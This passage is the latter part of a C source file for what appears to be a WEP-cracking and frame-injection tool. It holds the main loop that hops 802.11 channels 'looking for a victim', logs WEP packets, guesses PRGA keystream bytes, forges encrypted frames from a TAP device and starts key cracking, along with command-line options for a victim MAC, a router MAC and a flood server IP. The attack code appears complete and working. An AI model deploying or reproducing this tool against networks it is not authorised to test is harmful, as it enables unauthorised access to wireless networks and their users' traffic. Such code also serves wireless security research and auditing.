2193		perror("read()");
2194		exit(1);
2195	}
2196	dlen = rd - sizeof(*eh);
2197
2198	assert(dlen > 0);
2199
2200	if (dlen+8 > prgainfo.len) {
2201		printf("\n");
2202		// XXX lame message...
2203		time_print("Sorry... want to send %d but only got %d prga\n",
2204			   dlen, prgainfo.len);
2205		return;
2206
2207	}
2208
2209	if (taptx_len) {
2210		printf("\n");
2211		time_print("Sorry... overflow in TAP queue [of 1 packet =P] overwriting\n");
2212		// XXX could not read instead and get rid of it in select...
2213	}
2214
2215	assert (rd < (sizeof(buf)-sizeof(*wh) - 8 - 8));
2216
2217	eh = (struct ether_header*) buf;
2218
2219	wh = (struct ieee80211_frame*) taptx;
2220	memset(wh, 0, sizeof(*wh));
2221	fill_basic(wh);
2222
2223        wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
2224        wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
2225
2226	memcpy(wh->i_addr2, eh->ether_shost, 6);
2227	memcpy(wh->i_addr3, eh->ether_dhost, 6);
2228
2229        body = (unsigned char*) wh + sizeof(*wh);
2230        ptr = body;
2231        ptr += 4; // iv
2232
2233	do_llc(ptr, ntohs(eh->ether_type));
2234	ptr += 8;
2235
2236	memcpy(ptr, &buf[sizeof(*eh)], dlen);
2237
2238	wepify(body, 8+dlen);
2239	taptx_len = sizeof(*wh) + 4 + 8 + dlen + 4;
2240
2241	assert (taptx_len < sizeof(taptx));
2242}
2243
2244int elapsedd(struct timeval *past, struct timeval *now)
2245{
2246        int el;
2247
2248        el = now->tv_sec - past->tv_sec;
2249        assert(el >= 0);
2250        if (el == 0) {
2251                el = now->tv_usec - past->tv_usec;
2252        } else {
2253                el = (el - 1)*1000*1000;
2254                el += 1000*1000-past->tv_usec;
2255                el += now->tv_usec;
2256        }
2257
2258        return el;
2259}
2260
2261void own(int wifd) {
2262	unsigned char buf[4096];
2263	int rd;
2264	fd_set rfd;
2265	struct timeval tv;
2266	char *pbar = "/-\\|";
2267	char *pbarp = &pbar[0];
2268	struct timeval lasthop;
2269	struct timeval now;
2270	unsigned int last_wep_count = 0;
2271	struct timeval last_wcount;
2272	struct timeval last_status;
2273	int fd;
2274	int largest;
2275
2276	weplog.fd = open(WEP_FILE, O_WRONLY | O_APPEND);
2277	if (weplog.fd == -1) {
2278		weplog.fd = open(WEP_FILE, O_WRONLY | O_CREAT,
2279				 S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
2280	}
2281	else {
2282		time_print("WARNING: Appending in %s\n", WEP_FILE);
2283	}
2284
2285	if (weplog.fd == -1) {
2286		perror("open()");
2287		exit(1);
2288	}
2289
2290	fd = open(PRGA_FILE, O_RDONLY);
2291	if (fd != -1) {
2292		time_print("WARNING: reading prga from %s\n", PRGA_FILE);
2293		rd = read(fd, buf, sizeof(buf));
2294		if (rd == -1) {
2295			perror("read()");
2296			exit(1);
2297		}
2298		if (rd >= 8) {
2299			set_prga(buf, NULL, &buf[3], rd - 3);
2300		}
2301
2302		close(fd);
2303	}
2304
2305	fd = open(DICT_PATH, O_RDONLY);
2306	if (fd == -1) {
2307		time_print("Creating dictionary directory (%s)\n", DICT_PATH);
2308		if (mkdir (DICT_PATH, 0755) == -1) {
2309			perror("mkdir()");
2310			exit(1);
2311		}
2312	}
2313	else
2314		close(fd);
2315
2316	open_tap();
2317	set_tap_mac(mymac);
2318
2319	if (tapfd > wifd)
2320		largest = tapfd;
2321	else
2322		largest = wifd;
2323
2324	if (signal(SIGINT, &cleanup) == SIG_ERR) {
2325		perror("signal()");
2326		exit(1);
2327	}
2328	if (signal (SIGTERM, &cleanup) == SIG_ERR) {
2329		perror("signal()");
2330		exit(1);
2331	}
2332
2333	time_print("Looking for a victim...\n");
2334	if (gettimeofday(&lasthop, NULL) == -1) {
2335		perror("gettimeofday()");
2336		exit(1);
2337	}
2338
2339	memcpy(&last_wcount, &lasthop, sizeof(last_wcount));
2340	memcpy(&last_status, &lasthop, sizeof(last_status));
2341
2342	while (1) {
2343		if (gettimeofday(&now, NULL) == -1) {
2344			perror("gettimeofday()");
2345			exit(1);
2346		}
2347
2348		/* check for relay timeout */
2349		if (fragstate.waiting_relay) {
2350			int el;
2351
2352			el = now.tv_sec - fragstate.last.tv_sec;
2353			assert (el >= 0);
2354			if (el == 0) {
2355				el = now.tv_usec - fragstate.last.tv_usec;
2356			} else {
2357				el--;
2358
2359				el *= 1000*1000;
2360				el += 1000*1000 - fragstate.last.tv_usec;
2361				el += now.tv_usec;
2362
2363				if (el > (1500*1000)) {
2364//					printf("\nLAMER timeout\n\n");
2365					free(fragstate.data);
2366					fragstate.data = 0;
2367				}
2368			}
2369		}
2370
2371		/* check for arp timeout */
2372		if (rtrmac == (unsigned char*) 1) {
2373			int el;
2374
2375			el = elapsedd(&arpsend, &now);
2376			if (el >= (1500*1000)) {
2377				rtrmac = 0;
2378			}
2379		}
2380
2381		// status bar
2382		if ( (now.tv_sec > last_status.tv_sec ) ||
2383		     ( now.tv_usec - last_status.tv_usec > 100*1000)) {
2384		     	if (crack_pid && (now.tv_sec > last_status.tv_sec)) {
2385				check_key();
2386			}
2387			if (netip && prgainfo.len >= min_prga &&
2388			    rtrmac > (unsigned char*) 1) {
2389				time_print("WEP=%.9d (next crack at %d) IV=%.2x:%.2x:%.2x (rate=%d)         \r",
2390				       weplog.packets, wep_thresh,
2391				       weplog.iv[0], weplog.iv[1], weplog.iv[2],
2392				       weplog.rate);
2393				fflush(stdout);
2394			}
2395			else {
2396				if (state == FIND_VICTIM)
2397					time_print("Chan %.02d %c\r", chaninfo.chan, *pbarp);
2398				else if (decryptstate.cipher) {
2399					int pos = decryptstate.prgainfo.len - 1;
2400					unsigned char prga = decryptstate.prgainfo.prga[pos];
2401					assert(pos);
2402
2403					time_print("Guessing PRGA %.2x (IP byte=%d)    \r",
2404						   prga, decryptstate.cipher[pos] ^ prga);
2405				}
2406				else
2407					time_print("%c\r", *pbarp);
2408				fflush(stdout);
2409			}
2410			memcpy(&last_status, &now,sizeof(last_status));
2411		}
2412
2413		// check if we are cracking
2414		if (crack_pid) {
2415			if (now.tv_sec - crack_start.tv_sec >= crack_dur)
2416				kill_crack();
2417		}
2418
2419		// check TX  / retransmit
2420		if (txstate.waiting_ack) {
2421			unsigned int elapsed = now.tv_sec -
2422					       txstate.tsent.tv_sec;
2423			elapsed *= 1000*1000;
2424			elapsed += (now.tv_usec - txstate.tsent.tv_usec);
2425
2426			if (elapsed >= ack_timeout)
2427				send_frame(wifd, NULL, -1);
2428		}
2429
2430		// INPUT
2431		// select
2432		FD_ZERO(&rfd);
2433		FD_SET(wifd, &rfd);
2434		FD_SET(tapfd, &rfd);
2435		tv.tv_sec = 0;
2436		tv.tv_usec = 1000*10;
2437		rd = select(largest+1, &rfd, NULL, NULL, &tv);
2438		if (rd == -1) {
2439			perror("select()");
2440			exit(1);
2441		}
2442
2443		// read
2444		if (rd != 0) {
2445			// wifi
2446			if (FD_ISSET(wifd, &rfd)) {
2447				rd = read(wifd, buf, sizeof(buf));
2448				if (rd == 0)
2449					return;
2450				if (rd == -1) {
2451					perror("read()");
2452					exit(1);
2453				}
2454
2455				pbarp++;
2456				if(!(*pbarp))
2457					pbarp = &pbar[0];
2458				// input
2459				anal(buf, rd, wifd);
2460			}
2461
2462			// tap
2463			if (FD_ISSET(tapfd, &rfd)) {
2464				read_tap();
2465			}
2466		}
2467
2468		// check state and what we do next.
2469		if (state == FIND_VICTIM) {
2470			if (now.tv_sec > lasthop.tv_sec ||
2471			    ( (now.tv_usec - lasthop.tv_usec) >= 300*1000 )) {
2472				int chan = chaninfo.chan;
2473				chan++;
2474
2475				if(chan > 11)
2476					chan = 1;
2477
2478				set_chan(chan);
2479				memcpy(&lasthop, &now, sizeof(lasthop));
2480			}
2481		} else {
2482		// check if we need to write something...
2483			if (!txstate.waiting_ack)
2484				can_write(wifd);
2485
2486			// roughly!
2487
2488#ifdef MORE_ACCURATE
2489			if ( (now.tv_sec - last_wcount.tv_sec) >= 2) {
2490				unsigned int elapsed;
2491				int secs;
2492				int packetz = weplog.packets - last_wep_count;
2493				elapsed = 1000*1000;
2494
2495				elapsed -= last_wcount.tv_usec;
2496
2497				assert(elapsed >= 0);
2498				elapsed += now.tv_usec;
2499
2500				secs = now.tv_sec - last_wcount.tv_sec;
2501				secs--;
2502				if (secs > 0)
2503					elapsed += (secs*1000*1000);
2504
2505				weplog.rate = (int)
2506				((double)packetz/(elapsed/1000.0/1000.0));
2507#else
2508			if ( now.tv_sec > last_wcount.tv_sec) {
2509				weplog.rate = weplog.packets - last_wep_count;
2510#endif
2511				last_wep_count = weplog.packets;
2512				memcpy(&last_wcount, &now, sizeof(now));
2513
2514				if (wep_thresh != -1 && weplog.packets > wep_thresh)
2515					try_crack();
2516			}
2517		}
2518	}
2519}
2520
2521void start(char *dev) {
2522	int fd;
2523
2524	setup_if(dev);
2525
2526	fd = open_bpf(dev, DLT_IEEE802_11_RADIO);
2527
2528	own(fd);
2529
2530#if 0
2531	{
2532		int i;
2533		struct timeval tv;
2534		set_chan(11);
2535		for (i = 0; i < 10; i++) {
2536			gettimeofday(&tv, NULL);
2537
2538			send_ack(tx);
2539//			usleep(500);
2540			printf("%lu\n", tv.tv_usec);
2541		}
2542	}
2543#endif
2544
2545	close(fd);
2546}
2547
2548void usage(char* pname) {
2549	printf("Usage: %s <opts>\n", pname);
2550	printf("-h\t\tthis lame message\n");
2551	printf("-i\t\t<iface>\n");
2552	printf("-s\t\t<flood server ip>\n");
2553	printf("-m\t\t<my ip>\n");
2554	printf("-n\t\t<net ip>\n");
2555	printf("-r\t\t<rtr mac>\n");
2556	printf("-a\t\t<mymac>\n");
2557	printf("-c\t\tdo not crack\n");
2558	printf("-p\t\t<min prga>\n");
2559	printf("-4\t\t64 bit key\n");
2560	printf("-v\t\tvictim mac\n");
2561	exit(0);
2562}
2563
2564void str2mac(unsigned char* dst, unsigned char* mac) {
2565	unsigned int macf[6];
2566	int i;
2567
2568	if( sscanf(mac, "%x:%x:%x:%x:%x:%x",
2569                   &macf[0], &macf[1], &macf[2],
2570                   &macf[3], &macf[4], &macf[5]) != 6) {
2571
2572		   printf("can't parse mac %s\n", mac);
2573		   exit(1);
2574	}
2575
2576	for (i = 0; i < 6; i++)
2577		*dst++ = (unsigned char) macf[i];
2578}
2579
2580int main(int argc, char *argv[]) {
2581	unsigned char* dev = "ath0";
2582	unsigned char rtr[6];
2583	unsigned char vic[6];
2584
2585	int ch;
2586
2587	if (gettimeofday(&real_start, NULL) == -1) {
2588		perror("gettimeofday()");
2589		exit(1);
2590	}
2591
2592	chaninfo.s = -1;
2593	victim.ssid = 0;
2594	prgainfo.len = 0;
2595
2596	memset(&txstate, 0, sizeof(txstate));
2597	memset(&fragstate, 0, sizeof(fragstate));
2598	memset(&decryptstate, 0, sizeof(decryptstate));
2599	memset(&weplog, 0, sizeof(weplog));
2600
2601	state = FIND_VICTIM;
2602
2603	while ((ch = getopt(argc, argv, "hi:s:m:r:a:n:cp:4v:")) != -1) {
2604		switch (ch) {
2605			case 'a':
2606				str2mac(mymac, optarg);
2607				break;
2608
2609			case 's':
2610				floodip = optarg;
2611				break;
2612
2613			case 'i':
2614				dev = optarg;
2615				break;
2616
2617			case 'm':
2618				strncpy(myip, optarg, sizeof(myip)-1);
2619				myip[sizeof(myip)-1] = 0;
2620				break;
2621
2622			case 'n':
2623				netip = optarg;
2624				break;
2625
2626			case 'r':
2627				str2mac(rtr, optarg);
2628				rtrmac = rtr;
2629				break;
2630
2631			case 'v':
2632				str2mac(vic, optarg);
2633				victim_mac = vic;
2634				break;
2635
2636			case 'c':
2637				wep_thresh = -1;
2638				break;
2639
2640			case 'p':
2641				min_prga = atoi(optarg);
2642				break;
2643
2644			case '4':
2645				bits = 64;
2646				break;
2647
2648			default:
2649				usage(argv[0]);
2650				break;
2651		}
2652	}
2653
2654	start(dev);
2655
2656	if(chaninfo.s != -1)
2657		close(chaninfo.s);
2658	if(victim.ssid)
2659		free(victim.ssid);
2660	exit(0);
2661}
2662